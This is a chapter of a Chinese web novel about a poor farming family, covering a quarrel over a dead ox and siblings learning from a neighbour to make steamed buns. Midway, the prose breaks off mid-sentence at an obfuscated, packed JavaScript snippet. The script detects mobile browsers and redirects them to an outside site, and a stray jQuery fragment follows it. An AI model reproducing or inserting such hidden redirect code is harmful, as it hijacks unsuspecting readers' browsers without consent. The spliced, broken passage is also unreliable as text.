15. 包包子

作品:《农家子科举升官路

    看热闹的人一哄而散,何亮等人也趁机扔下死牛跑了。


    院门和大门紧闭。


    堂屋里,秦高中脸色难看,“非要在这时候闹事?为了只牛成了全村人的笑话,这样让我怎敢将同窗带回来?”


    才弱冠的青年继承了父母外貌上的优点,仪表堂堂。虽说没穿绫罗绸缎,可用的也是上好的细布,甚至腰间还挂了玉佩,与梨花村,与这个家的人格格不入。


    与光彩照人的他相比,秦大壮这对老夫妇简直堪称灰扑扑。


    赵氏最疼这个长孙,平时也怕极了他生气,连忙小声将事情解释一遍,又说,“那只牛值十两银子哩,事发时不追究,日后就算告到县衙,咱们也说不清……”


    “为了十两银子还要告到县衙?”秦高中恼怒,只觉得祖母钻钱眼里去了,一点都不体面,嗓门不自觉大起来,与同窗们交流时的温文尔雅判若两人,“你们还嫌不够丢脸?”


    赵氏张张嘴,望向长孙,表情无措甚至有些迷茫。


    她不理解,十两很少吗?乡下人家,一年能攒一两银子的都不多。自分家后,他们家地少了,能干活的劳力少了,她和丈夫拼了命的干,才勉强让长孙读书的同时还能与友人同窗交际。


    “咳咳!”


    说不清的寒意袭上心头,赵氏忽然咳起来,脸色跟着有些灰败。


    原本一声不吭的秦大壮拍了拍老妻的背,语气生道,“这次的事你奶没做错。只是这会那个何亮跑了,得想办法追回损失。”


    秦高中皱眉,他难道没表达清楚自己的意思?


    “爷,现在可是……”


    “高中!”


    秦登科忽的拔高音量,制止儿子继续说下去。再吵下去,会被邻里听见,对儿子的名声不利。他儿子可以在家里当小霸王,出了门必须装孝顺。


    “这次是我识人不清,”秦登科只字不提自己之前如何信誓旦旦的保证何亮的人品,也不提自己喝酒时吹牛,“不过事情已经发生,咱们家不能无端损失了牛,同样,也不能影响高中府试,和他在同窗之间的名声。”


    他给出解决办法,“我私下再去何亮家,找他要些赔偿。十两不肯给,七八两总该给吧?至于这牛,按照意外死亡报到县衙,转头卖给肉铺。私下许多酒楼和富贵人家肯定抢着要。”


    孙氏刚刚被震怒的儿子吓到,这会也帮腔。


    “是呢,牛肉价贵,能卖不少,加上赔偿,肯定远超十两,到时咱们再买一只,不耽误农耕。”


    她心里门清,她和丈夫平时都不怎么干活,儿子读书还需靠公公婆婆供养。心里可以瞧不起两人,可事关儿子的利益,装也要装一下。她丈夫不就是靠嘴甜,哪怕不干活,也哄得两人吃最多的苦也乐呵呵么?


    夫妻俩配合起来,很快哄得赵氏去厨房生火做饭。


    “登科,你跟我去县衙,再找几人帮忙抬着牛。”


    “爹,也不急吧?”


    秦大壮不看儿子,“接下来农忙,我没工夫处理这事。”


    “交给我就行了,爹,你不用理会这件事。”


    秦大壮不吭声,但也没和往日那样,一言不发去厨房帮忙。


    秦登科心里‘咯噔’了下,爹在这事上不信任他了?当了四十来年的父子,他太清楚秦大壮是个多么固执的人了。固执到就算他没考到秀才,也认定老大家会有出息,又是给他找了个秀才女儿当媳妇,又是继续供他儿子读书。


    他就是凭借这份倔享了这么多年的福,自然也知,秦大壮一旦决定了的事,就不会改。


    “好,我这就去喊人,吃完饭咱们就去城里。”


    又安慰第一次被爷奶晾在一旁的儿子,“放心,别人家的耕牛出事也是走这个流程,与官司无关。我认得你那些同窗,去县衙时也会避开他们。”


    秦高中表情这才好了些,又看了眼不再吭声的爷爷,心里更是认定一件事。


    他板着脸回到房间。


    过了会,这位即将参加府试的书生怒气冲冲的走到院子里。


    “是不是你翻了我房间里的东西?”


    之前吵架时缩在一旁,这会出来喂鸡的秦来娣手足无措。


    “我、我没翻,我只是进去打扫了下。”


    “谁让你打扫的?天天打扫也不嫌烦?”


    秦来娣白着脸,手指握在一起,“娘让我打扫的,她说城里许多读书人都有侍女帮忙打扫。”


    “你是侍女么?”秦高中冷着脸,“以后别进我房间,我会和娘说。”


    秦来娣垂着头应了,等脚步声远去,她才重新蹲下,将菜叶撕碎扔给家里养的鸡鸭。


    过了一会,她才用干净的手背抹了抹眼角。


    又是这样,从来不喊她的名字。


    她的确不是侍女。


    她连侍女都不如。


    侍女干活能拿酬劳,她干再多的活,连颗鸡蛋都吃不到。


    因为每个人都吃了一颗水煮蛋填填肚,又多了四个大包子,秦高瞰淘米时没蒸那么多饭。


    过了会,米饭的香味和白面、酱菜、猪肉的香味传来。


    “我宣布,”秦高琼擦了擦唇角,“这是世上最好的味道!”


    “没错,”秦高瑜开始流口水,“美味!”


    “咱们先吃包子吧。”


    秦高瞻也馋得不行,而且他是忍了最久的那个,眼看包子从热到冷又到热。


    这份期待增加了包子的美味。


    他吃肉馅的觉得好吃得不行,吃酱菜的也觉得很好,甚至各吃完半个,还意犹未尽。


    再看几个弟弟妹妹,不约而同的选择舔手指。


    “包子真好吃啊。”


    “要是能天天吃包子,那该多幸福啊!”


    秦高瞻指着买回来的白面,“等我们学会做包子,就能经常吃了。”


    一息后,他老实承认,“可能会失败个一二三四次才学会。”


    想到白面的价格,秦高瞰就失去了做实验的勇气。


    唯独秦高琼兴致勃勃,“我们不会,可我们能向会的人请教啊!”


    “王大娘。”秦高瑜冷不丁蹦出一个词。


    “王大娘?”


    秦高瞻其实不算很了解这个邻居。


    以前的交集差不多是见面会打招呼,互相通知村长的话。


    最近一次让他印象深刻的交集,是原身生病时。


    秦高瞰将田卖给隔壁村的何富户,又急忙去县里请大夫,结果时辰太晚城门关了,人和大夫都没能出城。


    那时原身病得神志不清,秦高琼一边照顾哥哥妹妹,一边又担心二哥出事。


    隔壁的王大娘听到哭声过来敲门,了解情况后,回家让男人去打听消息,自己陪了这对姐妹一晚上。


    身为成年人,她不仅能给这对姐妹带来安全感,也能让村里一些懒汉打消不好的念头。


    后来秦高瞰带着大夫给大哥看完病后,还特地捡了几颗鸡蛋拿了些粗粮去道谢,王大娘没收。


    就秦高瞻所知,这对夫妻是年轻时搬来村里,积蓄不多买的水田少,后来陆续在荒坡开垦了些土地,只育有一女,早些年嫁到隔壁县,逢年过节才过来。


    “没错,”在他梳理记忆时,秦高琼已经积极响应妹妹,“就是王大娘,我听王大娘说过,她以前的一个邻居会做包子,她学会了,只是现在买不起白面。”


    “那傍晚去和王


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15802563|174491||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    大娘请教。”


    秦高瞻也乐得节省实验的时间。


    干了一下午的活,转眼就到了要吃晚饭的时辰。


    秦高琼扔下锄头就去了隔壁,很快将王大娘请来。


    王大娘进了厨房,不多看,也不多问他们家哪来的钱买白面和猪肉,将手洗得干干净净后问,“我会两种发面的法子,一种用老面,不过制作老面需要两三日。制好后,日后想蒸包子,就取一些老面和白面混合,随取随用。另一种是烫面,现做现吃,包素馅最好,荤馅也行,可能没素馅那么合适。你们想用哪种?”


    “才不做选择,全都要。”秦高琼下意识道,过了息后知后觉捂着嘴,无辜的大眼睛盯着王大娘看。


    王大娘慈善的笑了笑,“那我先给你们做点老面,再做用烫面的法子做包子。”


    “大娘你真好!”


    “你是世上最好的大娘。”秦高瑜咧着嘴笑。


    “哎哟,阿瑜这张嘴比糖都甜。”王大娘都哄得眉开眼笑。


    秦高瞻有些心虚,小妹夸奖人的句式好耳熟。


    他默默去烧火烧水,秦高瞰更是默默切菜剁肉。


    老面好做,将面粉和温水混合成团,放在温暖的地方发酵几日就行。


    这会热水也快开了,取还没烧开但很烫的热水缓慢倒入白面里搅拌,揉至光滑。


    “烫面的话不需要等,现在就能擀皮包包子。”


    擀好皮,王大娘取了一块开始教学。


    “用烫面这种法子,中间的皮要厚些,否则蒸的时候容易露馅。”


    四兄妹齐刷刷点头。


    过了会,秦高瑜举起掌心的包子,乐呵呵,“露馅了。”


    秦高瞰赶紧拿过来,将自己包好的那个放上去。


    “馅儿藏起来了。”


    秦高瑜用小手指轻轻戳戳,发现出现一个小坑后,连忙踮起脚尖,放进蒸笼里。


    五人齐心合力,很快包了许多素馅和猪肉馅的包子,决定分两批蒸。


    一刻钟后,第一笼出锅了。


    “大家都来尝尝。”


    秦高瞻夹了个猪肉馅的,放到碗里,递给王大娘后,这才一一给弟弟妹妹夹。


    才出锅的包子热腾腾、香喷喷,吹几下,咬一口,带着浓浓肉香的汁水便流出来。


    秦高琼斯哈斯哈吃着,还不忘朝王大娘竖起大拇指,“大娘,你做的比包子铺卖的好好吃。”


    “世上最好吃。”秦高瑜赞同的点头,吃得太开心了,又没忍住跺跺脚。


    “大娘,您的手艺是真好。”


    秦高瞻也觉得手里的包子好吃。


    “你们这些孩子,惯会哄人开心的。”


    王大娘笑得脸上的皱纹都舒展开了,“白面和猪肉做的,能不好吃?”


    等一个吃完,秦高瞻拿了个盘子,从蒸笼里夹出六个递给王大娘。


    “辛苦大娘了,这些带回去和叔一起吃吧。”


    “使不得,这也太多了。”


    王大娘一眼瞧出,这里边有四个荤的。


    “我就是随手帮个忙,给我一个,让你叔也尝尝就行。”


    “还得算上教学呢,”秦高瞻拎得清,换做别人,未必肯教,也未必教得这么用心,还不嫌他们几个小孩烦,“您看夫子教学生要收束脩,您怎么就不能收?”


    “那能一样么,夫子教的是学问,我这算什么。”


    “民以食为天,吃最重要。”


    秦高瞻的表情和语气都很认真,几个弟弟妹妹又附和,王大娘还是接了,过了会过来还盘子,还给了把蔬菜。


    这天晚上,四兄妹吃包子吃得心满意足,还留了几个第二日当早饭。